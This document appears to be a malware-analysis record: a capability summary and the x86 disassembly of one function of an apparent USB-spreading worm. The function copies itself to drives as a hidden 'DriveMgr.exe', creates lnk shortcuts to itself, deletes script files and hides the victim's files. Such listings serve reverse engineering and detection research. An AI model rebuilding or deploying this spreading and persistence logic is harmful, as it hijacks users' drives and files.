Function at 0x402680
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12f4
call fcn.00404da0
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
and eax, 0x80000
je 0x4026a8
xor al, al
jmp 0x402b70
mov dword [ebp - 0x12b4], 0x40591c
mov byte [ebp - 0x12a7], 0
mov ecx, dword [ebp + 0xc]
push ecx
push str._s.lnk
lea edx, [ebp - 0x828]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x12b4]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sDriveMgr.exe
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x12b4]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x40595c
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x828]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405968
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x1054]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40277e
push 0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40277e
push 7
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4027c3
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4027c3
push 0
lea ecx, [ebp - 0x620]
push ecx
push 0x409388
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402827
movsx ecx, byte [ebp + 0x14]
test ecx, ecx
je 0x4027fb
push 9
push 0x405980
lea edx, [ebp - 0x620]
push edx
lea eax, [ebp - 0x20c]
push eax
call fcn.00402590
add esp, 0x10
jmp 0x402818
push 8
push str.shell32.dll
lea ecx, [ebp - 0x620]
push ecx
lea edx, [ebp - 0x20c]
push edx
call fcn.00402590
add esp, 0x10
push 5
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x12a4]
push ecx
lea edx, [ebp - 0x1054]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x12b8], eax
cmp dword [ebp - 0x12b8], 0xffffffff
je 0x402b6a
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x12f4], str..lnk
mov edx, 4
shl edx, 0
mov dword [ebp + edx - 0x12f4], str..vbs
mov eax, 4
shl eax, 1
mov dword [ebp + eax - 0x12f4], str..bat
mov ecx, 4
imul edx, ecx, 3
mov dword [ebp + edx - 0x12f4], str..js
mov eax, 4
shl eax, 2
mov dword [ebp + eax - 0x12f4], str..scr
mov ecx, 4
imul edx, ecx, 5
mov dword [ebp + edx - 0x12f4], str..com
mov eax, 4
imul ecx, eax, 6
mov dword [ebp + ecx - 0x12f4], str..jse
mov edx, 4
imul eax, edx, 7
mov dword [ebp + eax - 0x12f4], str..cmd
mov ecx, 4
shl ecx, 3
mov dword [ebp + ecx - 0x12f4], str..pif
mov edx, 4
imul eax, edx, 9
mov dword [ebp + eax - 0x12f4], str..jar
mov ecx, 4
imul edx, ecx, 0xa
mov dword [ebp + edx - 0x12f4], str..dll
mov eax, 4
imul ecx, eax, 0xb
mov dword [ebp + ecx - 0x12f4], str..vbe
mov edx, 4
imul eax, edx, 0xc
mov dword [ebp + eax - 0x12f4], str..inf
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 0x12b4]
mov dword [ebp + edx - 0x12c0], eax
mov ecx, 4
shl ecx, 0
lea edx, [ebp - 0x828]
mov dword [ebp + ecx - 0x12c0], edx
push 0x405a4c
lea eax, [ebp - 0x1278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402b41
push 0x405a50
lea ecx, [ebp - 0x1278]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402b41
mov byte [ebp - 0x12a5], 0
mov dword [ebp - 0x12ac], 0
jmp 0x4029c4
mov edx, dword [ebp - 0x12ac]
add edx, 1
mov dword [ebp - 0x12ac], edx
cmp dword [ebp - 0x12ac], 2
jae 0x4029f7
mov eax, dword [ebp - 0x12ac]
mov ecx, dword [ebp + eax*4 - 0x12c0]
push ecx
lea edx, [ebp - 0x1278]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4029f5
mov byte [ebp - 0x12a5], 1
jmp 0x4029f7
jmp 0x4029b5
movsx eax, byte [ebp - 0x12a5]
test eax, eax
jne 0x402b41
mov byte [ebp - 0x12a6], 0
mov dword [ebp - 0x12b0], 0
jmp 0x402a28
mov ecx, dword [ebp - 0x12b0]
add ecx, 1
mov dword [ebp - 0x12b0], ecx
cmp dword [ebp - 0x12b0], 0xd
jae 0x402a9d
mov edx, dword [ebp - 0x12b0]
mov eax, dword [ebp + edx*4 - 0x12f4]
push eax
lea ecx, [ebp - 0x1278]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x402a98
lea edx, [ebp - 0x1278]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x405a58
lea ecx, [ebp - 0xe48]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea edx, [ebp - 0xe48]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xe48]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x12a6], 1
jmp 0x402a9d
jmp 0x402a19
movsx ecx, byte [ebp - 0x12a6]
test ecx, ecx
jne 0x402b41
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402b41
lea eax, [ebp - 0x1278]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405a64
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x1278]
push eax
mov ecx, dword [ebp - 0x12b4]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s_s
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov ecx, dword [ebp - 0x12a4]
and ecx, 0x10
je 0x402b2b
lea edx, [ebp - 0xa30]
push edx
lea eax, [ebp - 0xc38]
push eax
call fcn.00402430
add esp, 8
jmp 0x402b41
push 9
lea ecx, [ebp - 0xa30]
push ecx
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x12a4]
push eax
mov ecx, dword [ebp - 0x12b8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40296e
mov edx, dword [ebp - 0x12b8]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0x12a7]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret